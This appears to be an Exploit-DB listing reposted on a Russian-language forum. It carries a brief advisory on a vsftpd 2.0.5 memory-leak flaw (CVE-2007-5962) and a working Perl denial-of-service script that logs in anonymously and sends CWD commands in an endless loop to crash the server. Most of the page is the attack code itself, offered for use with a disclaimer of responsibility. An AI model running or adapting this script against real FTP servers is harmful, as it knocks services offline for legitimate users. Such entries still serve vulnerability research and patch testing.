- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 31819
- Проверка EDB
-
- Пройдено
- Автор
- PRAVEEN DARSHANAM
- Тип уязвимости
- DOS
- Платформа
- WINDOWS
- CVE
- cve-2007-5962
- Дата публикации
- 2008-05-21
Код:
source: https://www.securityfocus.com/bid/29322/info
The 'vsftpd' FTP server is prone to a remote denial-of-service vulnerability because it fails to free allocated memory.
Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.
#!/usr/bin/perl -w
#######################################################################################
#vsftpd 2.0.5 FTP Server on Red Hat Enterprise Linux (RHEL) 5, Fedora 6 to 8,
#Foresight Linux, rPath Linux is prone to Denial-of-Service(DoS) vulnerability.
#
#Can be xploited by large number of CWD commands to vsftp daemon with deny_file configuration
#option in /etc/vsftpd/vsftpd.conf or the path where FTP server is installed.
#
#I tried to modify local exploit found at securityfocus such that we can remotely exloit
#
# Author shall not bear any responsibility
#Author:Praveen Darshanam
#Email:praveen[underscore]recker[at]sify.com
#Date:07th June, 2008
#
#
########################################################################################
use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";
while(1)
{
#this loop runs infinitely
$ftp -> cwd();
}
$ftp->quit;
- Источник
- www.exploit-db.com